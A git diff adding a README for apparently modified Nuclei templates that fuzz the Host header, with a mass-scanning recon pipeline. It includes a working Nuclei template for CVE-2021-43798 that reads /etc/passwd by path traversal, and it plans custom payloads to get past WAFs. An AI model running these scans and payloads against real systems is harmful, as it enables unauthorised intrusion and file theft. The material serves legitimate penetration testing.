diff --git a/README.md b/README.md
index 5cdd57f5..2c3bdd48 100644
--- a/README.md
+++ b/README.md
@@ -1,2 +1,239 @@
-# Virtual-Host
- Modified Nuclei Templates Version to FUZZ Host Header
+ Modified Nuclei Templates Version to FUZZ Host Header
+
+
+
+
+
+
+Requirements
+1 - Understand Virtual Host
+Virtual Host refers to run more than one web site on a single IP
+e.g. You can configure Nginx to run two web site e.g. dev.example.com and api.example.com like that
+
+```sh
+server {
+ listen 80;
+ listen [::]:80;
+
+ root /var/www/dev/html;
+ index index.html;
+
+ server_name dev.example.com;
+
+ location / {
+ try_files $uri $uri/ =404;
+ }
+}
+```
+
+```sh
+server {
+ listen 443 ssl;
+ listen [::]:443 ssl;
+
+ ssl on;
+ ssl_certificate /path/your.crt;
+ ssl_trusted_certificate /path/your.crt;
+ ssl_certificate_key /path/your.key;
+
+ root /var/www/api/html;
+ index index.html;
+
+ server_name api.example.com;
+
+ location / {
+ try_files $uri $uri/ =404;
+ }
+}
+```
+
+2 - Install
+
+ dnsx
+
+
+ httpx
+
+
+ Nuclei
+
+
+
+
+
+ anew
+
+
+
+
+
+3 - Clone this Repository
+
+ Virtual Host
+
+
+Usage
+
+```sh
+cat subdomains.txt | dnsx -a -silent -retry 5 -resp -o scanning.txt
+```
+
+```sh
+cat scanning.txt | tr -d '[]' | awk '{ print $2 }' | sort -u | tee -a ips.txt
+```
+
+```sh
+cat ips.txt | httpx -threads 200 -silent -retries 2 -timeout 10 -o aliveIPS.txt
+```
+
+```sh
+cat scanning.txt | awk '{ print $1 }' | sort -u | tee -a resolvableDomains.txt
+```
+
+```sh
+cat resolvableDomains.txt | httpx -threads 200 -silent -retries 2 -timeout 10 -o websites.txt
+```
+```sh
+cat websites.txt | sed 's|^https://||' | sed 's|^http://||' | tee aliveSUBDOMAINS.txt
+```
+
+```sh
+cat resolvableDomains.txt | anew aliveSUBDOMAINS.txt -d | tee -a deadSUBDOMAINS.txt
+```
+
+```sh
+sed -i -- 's|/home/mahmoud/Wordlist/AllSubdomains.txt|/path/deadSUBDOMAINS.txt|' *.yaml
+```
+
+```sh
+nuclei -c 300 -list aliveIPS.txt -bulk-size 50 -stats -retries 2 -timeout 20 -t "/Templates/CVE/" -severity high -o bugs.txt
+```
+
+Keep in Your Mind
+
+
+If You gonna Use SSRF Templates , You must Use Your DOMAIN e.g.
+
+```sh
+nuclei -c 300 -list aliveIPS.txt -bulk-size 50 -stats -retries 2 -timeout 20 -t "/Templates/SSRF/*.yaml" -var "MY-DOMAIN=me.com"
+```
+
+To Minimize Number of ERRORS , Prefer Using FOR LOOP e.g.
+
+```sh
+
+for ip in `cat aliveIPS.txt`
+do
+ nuclei -u $ip -bulk-size 50 -stats -retries 2 -timeout 20 -t "/Templates/" -severity high -o bugs.txt
+done
+
+```
+
+
+Tips
+if U are Nuclei's Templates Contributer , write Your Templates by using HTTP raw format to MAKE THIS REPOSITORY UPDATE e.g.
+
+```sh
+id:
+
+info:
+ name:
+ author:
+ severity:
+
+requests:
+ - raw:
+ - |
+ GET / HTTP/1.1
+ Host: {{Hostname}}
+ User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+ Accept-Encoding: gzip, deflate
+ Accept: */*
+
+ matchers-condition: and
+ matchers:
+ - type: status
+ status:
+ -
+
+ - type: word
+ words:
+ - ""
+ - ""
+ condition: and
+
+ - type: word
+ part: header
+ words:
+ - ""
+```
+
+Planning
+I'm Trying to modify Nuclei's Templates to become MORE Powerful e.g. CVE-2021-43798
+
+
+
+```sh
+
+id: CVE-2021-43798
+
+info:
+ name:
+ author:
+ severity:
+
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../etc/passwd"
+
+ matchers-condition: and
+ matchers:
+
+ - type: regex
+ regex:
+ - "root:.*:0:0"
+
+ - type: status
+ status:
+ - 200
+```
+
+I'm gonna Replace ../../../../../../../../../../../../../../../../../../../etc/passwd to {{FILE-unix}}
+
+
+```sh
+
+id: CVE-2021-43798
+
+info:
+ name:
+ author:
+ severity:
+
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/public/plugins/alertlist/{{FILE-unix}}"
+
+ matchers-condition: and
+ matchers:
+
+ - type: regex
+ regex:
+ - "root:.*:0:0"
+
+ - type: status
+ status:
+ - 200
+```
+that will help to bypass WAFs by using Custom paylaods because I think all WAFs detect ../../etc/passwd so using ../../etc/passwd is gonna be useless but using Custom paylaods is gonna be useful
+
+
+Help ME !
+these days I'm trying to find junior web penetration testing position but it's must be Remotely Becuase I'm still Student so IF YOU CAN HELP ME , DM on TWITTER
+
+
+